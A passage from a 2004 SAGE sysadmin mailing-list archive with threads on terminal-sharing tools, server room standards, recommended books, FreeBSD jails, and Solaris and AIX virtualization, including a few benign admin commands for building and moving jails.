Jan 2004 15:36:21 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08NaKPW015805 for sage-members-outgoing; Thu, 8 Jan 2004 15:36:21 -0800 (PST) Date: Thu, 8 Jan 2004 15:36:13 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: [SAGE] SUMMARY: Tool to split tty I/O? Message-ID: <20040108233613.GH96153@bitshift.org> References: <20040108193901.GE96153@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040108193901.GE96153@bitshift.org> User-Agent: Mutt/1.4.1i X-Uptime: 3:34PM up 205 days, 18:43, 20 users, load averages: 0.06, 0.04, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk Original question: On Thu, Jan 08, 2004 at 11:39:01AM -0800, Mark C. Langston wrote: > I seem to recall there once existed a freeware tool that'd split the I/O > of a tty, making it possible for two or more people to interact with the > same shell, locally and remotely. > > However, my recent Googling's come up empty. > > Does anyone remember such a tool? > Responses: The winner was "screen -x". Also suggested were kibitz and conserver. Screen was settled on, after evaluating "peek" (http://www.computron.com). Thanks to everyone for your responses! -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Thu Jan 8 22:05:11 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0965ANe007746 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 22:05:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0965A2P007745 for sage-members-outgoing; Thu, 8 Jan 2004 22:05:10 -0800 (PST) Date: Thu, 8 Jan 2004 22:05:06 -0800 From: Philip Brown To: sage-members@sage.org Subject: Re: [SAGE] How nice...not. "Fresh WhoIs data (emails, phones, etc.) on sale!" Message-ID: <20040108220506.A36252@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: sage-members@sage.org References: <20040108225358.GG96153@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from mhoskins@coat.com on Thu, Jan 08, 2004 at 06:13:59PM -0500 Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, Jan 08, 2004 at 06:13:59PM -0500, Mike Hoskins wrote: > I'm getting tired of getting calls (number also on the DNC list) for the > "Mike Hoskins Corp." Don't I wish. Maybe LLC. The DNC list is only as good as peoples' determination to ligitate through it. That is to say, it will only hold water, if people actually go to court and get judgements against violators. Did you try to tackle even one of them in court? From sage-members-owner@usenix.org Fri Jan 9 16:41:28 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0A0fSNe029636 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 9 Jan 2004 16:41:28 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0A0fSjp029635 for sage-members-outgoing; Fri, 9 Jan 2004 16:41:28 -0800 (PST) Date: Fri, 9 Jan 2004 16:41:15 -0800 (PST) From: Jennifer Davis To: sage-members@usenix.org Subject: [SAGE] Secure NFS Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk Hello all, Anyone ever tried setting up a NetApp with secure NFS with Active Directory as the kerberos server? Any help appreciated! (Yes, I've tried the now.netapp.com article, Windows documentation, Sun documentation, the kitchen sink, ... Everything _appears_ to be fine, but it doesn't work.) Thanks in advance, Jennifer Davis From sage-members-owner@usenix.org Tue Jan 13 08:01:22 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0DG1MNe027353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 13 Jan 2004 08:01:22 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0DG1MGH027352 for sage-members-outgoing; Tue, 13 Jan 2004 08:01:22 -0800 (PST) Message-ID: <4004164E.6080108@uwrf.edu> Date: Tue, 13 Jan 2004 10:01:18 -0600 From: Steve Hanson User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030314 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: [SAGE] Fedora Core information Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.27 (www . roaringpenguin . com / mimedefang) Sender: owner-sage-members@usenix.org Precedence: bulk Since a while back there was a flurry of discussion here about the Red Hat/Fedora Core flap, and probably a lot of you use Fedora Core, I thought I'd give you a pointer to one of the projects I'm doing while not being a Sys Admin 80 hours a week :-). I'm running a small news and discussion site for Fedora Core. I bring this up partly because some of you might want to look in occasionally to see what's up, and partly because I'm really looking for people to help out. If any of you are interested in writing about Fedora or Linux or UNIX in general, please let me know. We'd really like to have more people contributing articles, especially things like small HOWTO articles about how to do things in Linux, and Fedora in particular. I'd really like to have this reflect the knowledge of more people, and SAGE seemed like a good place to look for that knowledge. http://www.fedorazine.com From sage-members-owner@usenix.org Tue Jan 13 11:02:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0DJ2ZNe002026 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 13 Jan 2004 11:02:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0DJ2ZIX002025 for sage-members-outgoing; Tue, 13 Jan 2004 11:02:35 -0800 (PST) X-Envelope-From: allan@cookie.org Date: Tue, 13 Jan 2004 14:02:28 -0500 Subject: [SAGE] Campus server room standards? Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) Cc: Allan West To: SAGE From: Allan West Content-Transfer-Encoding: 7bit Message-Id: <08864172-45FB-11D8-A6A5-000502A9F137@cookie.org> X-Mailer: Apple Mail (2.553) Sender: owner-sage-members@usenix.org Precedence: bulk Do any of you who work for colleges, universities or multi-site corporations have written standards for the construction of server rooms? My university is interested in defining such a standard and we'd like to see what others are doing. Thanks, Allan From sage-members-owner@usenix.org Tue Jan 13 13:54:52 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0DLspNe007247 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 13 Jan 2004 13:54:52 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0DLspqn007246 for sage-members-outgoing; Tue, 13 Jan 2004 13:54:51 -0800 (PST) Date: Tue, 13 Jan 2004 14:54:49 -0700 (MST) From: Rob Kolstad Message-Id: <200401132154.i0DLsn9R022292@ace.DELOS.COM> To: sage-members@sage.org Subject: [SAGE] Respondents needed for article on sysadmin survival Sender: owner-sage-members@usenix.org Precedence: bulk Michael Meehan is looking for sysadmins to help him with a TechTarget article that covers: * How do you prioritize your tasks while keeping everyone happy? * How can you ensure nothing important falls through the cracks? * Are there any time-management techiques that work better than others for IT admins and managers? * What tricks are there to dodge technical problems and interruptions? * Tips and tricks for avoiding hours of overtime every night. If you'd like to talk to him on the phone for a few minutes, please send me your email and I'll tell you how to get in touch with him. His deadline is 'soon' :) . RK ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Tue Jan 13 14:16:44 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0DMGiNe008216 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 13 Jan 2004 14:16:44 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0DMGhDr008215 for sage-members-outgoing; Tue, 13 Jan 2004 14:16:43 -0800 (PST) From: John Costello Message-ID: <33029.198.182.56.5.1074032029.squirrel@www.indeterminate.net> Date: Tue, 13 Jan 2004 14:13:49 -0800 (PST) Subject: Re: [SAGE] Campus server room standards? To: , In-Reply-To: <08864172-45FB-11D8-A6A5-000502A9F137@cookie.org> References: <08864172-45FB-11D8-A6A5-000502A9F137@cookie.org> X-Priority: 3 Importance: Normal X-Mailer: SquirrelMail (version 1.2.10) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-sage-members@usenix.org Precedence: bulk > Do any of you who work for colleges, universities or multi-site > corporations have written standards for the construction of server > rooms? My university is interested in defining such a standard and we'd > like to see what others are doing. > Thanks, Allan Not as such, but we roughly follow the practices laid out in _The Practice of System and Network Administration_. One of the co-authors, Christine Hogan, used to work where I work now, and some of the pictures of network rooms are from our company. Chapter 17 covers server rooms, and you can see the index at Amazon's site (using Look Inside) before wandering over to a bookstore to browse at the printed pages. Hope this helps, John From sage-members-owner@usenix.org Tue Jan 13 23:48:59 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0E7mxNn023552 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 13 Jan 2004 23:48:59 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0E7mxSD023551 for sage-members-outgoing; Tue, 13 Jan 2004 23:48:59 -0800 (PST) From: Mason Schmitt To: sage-members@sage.org Subject: Re: [SAGE] Respondents needed for article on sysadmin survival Date: Tue, 13 Jan 2004 23:48:47 -0800 User-Agent: KMail/1.5.3 References: <200401132154.i0DLsn9R022292@ace.DELOS.COM> In-Reply-To: <200401132154.i0DLsn9R022292@ace.DELOS.COM> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401132348.47617.hr824@sunwave.net> X-Virus-Scanned: Scanned by Hermes (http://www.beyondtheweb.com/hermes) Sender: owner-sage-members@usenix.org Precedence: bulk On January 13, 2004 01:54 pm, Rob Kolstad wrote: > * How do you prioritize your tasks while keeping everyone happy? > > * How can you ensure nothing important falls through the cracks? > > * Are there any time-management techiques that work better than > others for IT admins and managers? > > * What tricks are there to dodge technical problems and interruptions? > > * Tips and tricks for avoiding hours of overtime every night. > I have some work to do before I can feel good about phoning someone up and giving pointers on time management ;) However, for anyone on this list that has not heard of or read "The Practice of System and Network Management" by Tom Limoncelli and Christine Hogan, I heartily recommend it. This is an amazing book that covers what sysadmins do, why they do it, and gets into a bit of the philosophy of the profession as well as techniques for better managing time, dealing with managers, customers, the rest of the team, etc. The front and back covers of my copy are starting to get a bit ragged, as I almost always have this book close at hand. As for the last item, avoiding hours of overtime every night, my answer is to move to a new way of managing my network. For any of you that have not heard infrastructures.org and the paper "Bootstrapping an Infrastructure" both are an excellent introduction to a different view of systems as "enterprise virtual machines" rather than discreet computers managed with, what the paper refers to as, "adhoc" tools. It's a wonderful paradigm shift that I expect to give huge returns in my network. Mason From sage-members-owner@usenix.org Wed Jan 14 06:28:42 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0EESfNn004518 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 14 Jan 2004 06:28:42 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0EESfl8004517 for sage-members-outgoing; Wed, 14 Jan 2004 06:28:41 -0800 (PST) Date: Wed, 14 Jan 2004 08:28:39 -0600 From: Tillman Hodgson To: sage-members@sage.org Subject: Re: [SAGE] Respondents needed for article on sysadmin survival Message-ID: <20040114142839.GH415@seekingfire.com> References: <200401132154.i0DLsn9R022292@ace.DELOS.COM> <200401132348.47617.hr824@sunwave.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200401132348.47617.hr824@sunwave.net> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . X-GPG-Key-ID: 828AFC7B X-GPG-Fingerprint: 5584 14BA C9EB 1524 0E68 F543 0F0A 7FBC 828A FC7B X-GPG-Key: http://www.seekingfire.com/gpg_key.asc X-Urban-Legend: There is lots of hidden information in headers User-Agent: Mutt/1.5.5.1i Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 13, 2004 at 11:48:47PM -0800, Mason Schmitt wrote: > However, for anyone on this list that has not heard of or read "The Practice > of System and Network Management" by Tom Limoncelli and Christine Hogan, I > heartily recommend it. I can second that. It covers topics very intelligently (including aspects I'd never thought of before) and with an approachable format. > For any of you that have not heard infrastructures.org and the paper > "Bootstrapping an Infrastructure" both are an excellent introduction > to a different view of systems as "enterprise virtual machines" rather > than discreet computers managed with, what the paper refers to as, > "adhoc" tools. It's a wonderful paradigm shift that I expect to give > huge returns in my network. The paper was first published at LISA 98, for folks that like digging through http://www.usenix.org/publications/library/. I've been returning to that paper for the past few years, pulling ideas from it here and there, but I've never implemented a complete coherent infrastructure out of it. I've been tempted for some time to use some of my copious spare time to create a paper describing an idealized environment modeled on the paper but tied to specific applications running in a homogenous FreeBSD environment. The idea is that it would be become more "concrete" for folks that haven't been already been thinking about this topic. I've love to hear about the specifics of your infrastructure, any lessons learned, and some of the preliminary results. -T -- Immobility is often mistaken for peace. - Emperor Elrood Corrino IX From sage-members-owner@usenix.org Wed Jan 14 08:02:09 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0EG29Nn007455 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 14 Jan 2004 08:02:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0EG29Yl007454 for sage-members-outgoing; Wed, 14 Jan 2004 08:02:09 -0800 (PST) To: Tillman Hodgson Cc: sage-members@sage.org Subject: Re: [SAGE] Respondents needed for article on sysadmin survival References: <200401132154.i0DLsn9R022292@ace.DELOS.COM> <200401132348.47617.hr824@sunwave.net> <20040114142839.GH415@seekingfire.com> From: seph Date: Wed, 14 Jan 2004 11:01:27 -0500 In-Reply-To: <20040114142839.GH415@seekingfire.com> (Tillman Hodgson's message of "Wed, 14 Jan 2004 08:28:39 -0600") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-sage-members@usenix.org Precedence: bulk >> For any of you that have not heard infrastructures.org and the paper >> "Bootstrapping an Infrastructure" both are an excellent introduction >> to a different view of systems as "enterprise virtual machines" rather >> than discreet computers managed with, what the paper refers to as, >> "adhoc" tools. It's a wonderful paradigm shift that I expect to give >> huge returns in my network. > > The paper was first published at LISA 98, for folks that like digging > through http://www.usenix.org/publications/library/. http://www.usenix.org/publications/library/proceedings/lisa98/traugott.html seph From sage-members-owner@usenix.org Wed Jan 14 12:03:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0EK3PNn016205 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 14 Jan 2004 12:03:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0EK3PNf016204 for sage-members-outgoing; Wed, 14 Jan 2004 12:03:25 -0800 (PST) From: "Dustin Puryear" To: "'Tillman Hodgson'" , Subject: RE: [SAGE] Respondents needed for article on sysadmin survival Date: Wed, 14 Jan 2004 14:05:53 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: <20040114142839.GH415@seekingfire.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 Thread-Index: AcPavl1FmePPiF6OQwSJ32M3QIpsmgAFxglg Message-Id: <20040114200137.3502D34D66@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > infrastructure out of it. I've been tempted for some time to use some of > my copious spare time to create a paper describing an idealized > environment modeled on the paper but tied to specific applications > running in a homogenous FreeBSD environment. The idea is that it would > be become more "concrete" for folks that haven't been already been > thinking about this topic. I would be interested in such a discussion. I am currently working to use jails under FreeBSD to move my services at one client from being based on machines to just "running" on a machine. My goal is that any system that I need can be built using a set of scripts. (Nothing new to this crowd.) For example, currently I can build a complete mail system in a jail with spam filtering and AV on a host server using: # mount buildsys:/dsk/buildsys /buildsys # /buildsys/builds/mail/install.sh # umount /buildsys I then just run the jail. If I need to later move that mail system to another server I can either rebuild the mail system using mail/install.sh or, better yet, just do: # /usr/local/etc/rc.d/stopjails.sh # scp -rp /my/jails/mail.example.com newsvr:/my/jails/mail.example.com # ssh newsvr /usr/local/etc/rc.d/startjails.sh This description is very simplified, but that's the general idea, and it works. With a combination of this and NFS I'm pretty much set. My technique is in no way original. I would like to see how others do it. From sage-members-owner@usenix.org Thu Jan 15 10:25:34 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0FIPYNn008534 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 15 Jan 2004 10:25:34 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0FIPYvj008533 for sage-members-outgoing; Thu, 15 Jan 2004 10:25:34 -0800 (PST) Date: Thu, 15 Jan 2004 11:25:30 -0700 (MST) From: Rob Kolstad Message-Id: <200401151825.i0FIPUur003877@ace.DELOS.COM> To: sage-members@sage.org Subject: [SAGE] Storage Networking: a survey Sender: owner-sage-members@usenix.org Precedence: bulk Our partners over at SNIA (the Storage Networking Industry Association) are supporting "StorageNetworking.org", a non-profit initiative dedicated to supporting the users of data storage technologies by facilitating the creation of local Storage Networking User Groups (SNUGs) and assisting them with their activities. The initiative is also being managed by the Alfred P. Sloan Foundation Information Storage Industry Center (ISIC) at the University of California, San Diego, and others. They are looking for folks interested in storage networking to complete a one-page survey. They say it takes 5-10 minutes; my quick evaluation is that it tends toward the short side of that range. The survey is at a commercial poll administrator and is accessed at: http://www.zoomerang.com/survey.zgi?71JNQHBALRKXNWTVN5JCXPJ1 I spoke with Ron Durbin over at UCSD who is marshalling this along. He confirmed that the information collected will only be used for figuring out what users want in a SNUG. Furthermore, a quick perusal of the single-page shows that they are not collecting any private information (except the final optional item that asks if you want to be contacted to crate a SNUG in your area). I know they'd appreciate any feedback our members have to offer -- and that our storage networking specialists will appreciate the time and effort that SNIA and its partners are investing in cultivating community. RK ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Thu Jan 15 20:23:49 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0G4NnNn011148 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 15 Jan 2004 20:23:49 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0G4NnJW011147 for sage-members-outgoing; Thu, 15 Jan 2004 20:23:49 -0800 (PST) Date: Thu, 15 Jan 2004 23:23:43 -0500 From: Chuck Yerkes To: sage-members@sage.org Subject: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Message-ID: <20040116042343.GA12131@snew.com> Reply-To: sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net Sender: owner-sage-members@usenix.org Precedence: bulk Quoting Dustin Puryear (dpuryear@usa.net): > > infrastructure out of it. I've been tempted for some time to use some of > > my copious spare time to create a paper describing an idealized > > environment modeled on the paper but tied to specific applications > > running in a homogenous FreeBSD environment. The idea is that it would > > be become more "concrete" for folks that haven't been already been > > thinking about this topic. > > I would be interested in such a discussion. I am currently working to use > jails under FreeBSD to move my services at one client from being based on > machines to just "running" on a machine. My goal is that any system that I > need can be built using a set of scripts. (Nothing new to this crowd.) For > example, currently I can build a complete mail system in a jail with spam > filtering and AV on a host server using: Sounds like a case for vmware or other machine virtualization. I played with and trained on Linux for S/390 and was not impressed at the S/390 baggage that was hauled along (that 500GB raidbox? It's presented as 2.1GB DASD volumes cause that's what we did back in the 70s. Now use LVM to paste a bunch together into a 50GB drive. Ick). But a compelling aspect was "gang of processors" and "blob of RAM" and virtual machines which cannot touch each other. Chroot jails are as old as the sun (as is breaking out of them). Handy to slow generic errors, but a well planned attack with certain classes of bugs won't stop much. The vmware/lpar model puts a different kernel on it. I'd love to see some kernel action that did do some true segmenting on a single machine - efficiently and allowing shared readonly code segments. > # mount buildsys:/dsk/buildsys /buildsys > # /buildsys/builds/mail/install.sh > # umount /buildsys Sounds like it could be run with depot or several other package installers. How does that differ from: wget http://packageserver/sendmail.pkg pkgadd -d ./sendmail.pkg rm ./sendmail.pkg > I then just run the jail. Then I just start the app... > If I need to later move that mail system to another server I can either > rebuild the mail system using mail/install.sh or, better yet, just do: > > # /usr/local/etc/rc.d/stopjails.sh > # scp -rp /my/jails/mail.example.com newsvr:/my/jails/mail.example.com > # ssh newsvr /usr/local/etc/rc.d/startjails.sh > > This description is very simplified, but that's the general idea, and it > works. With a combination of this and NFS I'm pretty much set. > > My technique is in no way original. I would like to see how others do it. nothing about what you call "jails" sounds different than any app/package, but I assume you left out instance information. From sage-members-owner@usenix.org Thu Jan 15 22:09:59 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0G69xNn015318 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 15 Jan 2004 22:09:59 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0G69wAM015317 for sage-members-outgoing; Thu, 15 Jan 2004 22:09:59 -0800 (PST) Message-ID: <40078025.3020606@camberwind.com> Date: Fri, 16 Jan 2004 00:09:41 -0600 From: Scott Burch User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Cc: sage-members@sage.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) References: <20040116042343.GA12131@snew.com> In-Reply-To: <20040116042343.GA12131@snew.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Chuck, I believe Sun is attempting to do what you mention below in Solaris 10 with zones. We have recently spent some time with both Sun and IBM people trying to get a better handle on where they are going with their software and hardware technologies...we use both IBM and Sun for our UNIX infrastructure (as well as using the 400 platform, LPARS, etc.). LPARS obviously have been around for a long time, so when IBM talked about enhancements they were making with AIX 5.3 and the Power 5 platform with regards to virtualization we had a pretty good understanding of what they were doing...however Sun's first attempt to explain what they were doing with virtualization led to a lot of confusion. Last week we met with Sun and someone from the kernel group that helped clear our heads. I still have to get my hands around all the terminology and features...Solaris 10 is a significant upgrade, far greater than say Solaris 8 to Solaris 9. In Solaris 9 you have containers, however containers are not protected/isolated instances. It still remains to be seen how all these features will pan out in the final release, but it sounds promising...and I actually did see some this stuff in action...they didn't just talk about it. The cool thing is that all of this will work on x86 as well as SPARC. -Scott Chuck Yerkes wrote: > >I'd love to see some kernel action that did do some true segmenting >on a single machine - efficiently and allowing shared readonly code >segments. > > > > -- ::::::::::::::::::::::::::::::::::::::::: Scott Burch Further Info: http://www.camberwind.com/ From sage-members-owner@usenix.org Thu Jan 15 22:10:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0G69xNn015324 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 15 Jan 2004 22:09:59 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0G69x6T015319 for sage-members-outgoing; Thu, 15 Jan 2004 22:09:59 -0800 (PST) Message-ID: <40078025.3020606@camberwind.com> Date: Fri, 16 Jan 2004 00:09:41 -0600 From: Scott Burch User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Cc: sage-members@sage.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) References: <20040116042343.GA12131@snew.com> In-Reply-To: <20040116042343.GA12131@snew.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Chuck, I believe Sun is attempting to do what you mention below in Solaris 10 with zones. We have recently spent some time with both Sun and IBM people trying to get a better handle on where they are going with their software and hardware technologies...we use both IBM and Sun for our UNIX infrastructure (as well as using the 400 platform, LPARS, etc.). LPARS obviously have been around for a long time, so when IBM talked about enhancements they were making with AIX 5.3 and the Power 5 platform with regards to virtualization we had a pretty good understanding of what they were doing...however Sun's first attempt to explain what they were doing with virtualization led to a lot of confusion. Last week we met with Sun and someone from the kernel group that helped clear our heads. I still have to get my hands around all the terminology and features...Solaris 10 is a significant upgrade, far greater than say Solaris 8 to Solaris 9. In Solaris 9 you have containers, however containers are not protected/isolated instances. It still remains to be seen how all these features will pan out in the final release, but it sounds promising...and I actually did see some this stuff in action...they didn't just talk about it. The cool thing is that all of this will work on x86 as well as SPARC. -Scott Chuck Yerkes wrote: > >I'd love to see some kernel action that did do some true segmenting >on a single machine - efficiently and allowing shared readonly code >segments. > > > > -- ::::::::::::::::::::::::::::::::::::::::: Scott Burch Further Info: http://www.camberwind.com/ From sage-members-owner@usenix.org Fri Jan 16 09:53:31 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0GHrRNn017332 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 09:53:27 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0GHrRZp017331 for sage-members-outgoing; Fri, 16 Jan 2004 09:53:27 -0800 (PST) Date: Fri, 16 Jan 2004 12:52:33 -0500 From: Gretchen Phillips Message-Id: <200401161752.i0GHqXUa000344@passion.gretchenphillips.com> To: sage-members@sage.org Subject: [SAGE] LISA Workshops 2004 Sender: owner-sage-members@usenix.org Precedence: bulk Hello SAGE Members, I have the privilege of coordinating the Workshop Track at LISA 2004 and in an effort to best server the community, I am seeking your input. If you have a thought, answer, opinion on any of the following, please send them to me. Also, if you'd be interested in discussing in further detail, send me your contact information and I'll contact you directly. Thanks, Gretchen Gretchen Phillips LISA 2004 Workshop Coordinator ----begin question section ---- 1) Are you familiar with the Workshops offered at LISA? 2) Have you ever attended a Workshop at a LISA Conference? 2a) If Not, why not. 2b) If Yes, which one, when, what did you think of it, would you attend another one other comments? 3) Suggested topics/leaders for workshops for 2004 4) Are you interested in leading a Workshop in 2004? What topic? 5) If you have lead a Workshop at a LISA Conference: 5a) when 5b) what topic 5c) how many attendees 5d) how was the participation 5e) would you lead a workshop again ----end question section ---- From sage-members-owner@usenix.org Fri Jan 16 10:03:31 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0GI3VNn017919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Jan 2004 10:03:31 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0GI3Vtc017918 for sage-members-outgoing; Fri, 16 Jan 2004 10:03:31 -0800 (PST) From: "Dustin Puryear" To: Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Fri, 16 Jan 2004 12:07:06 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 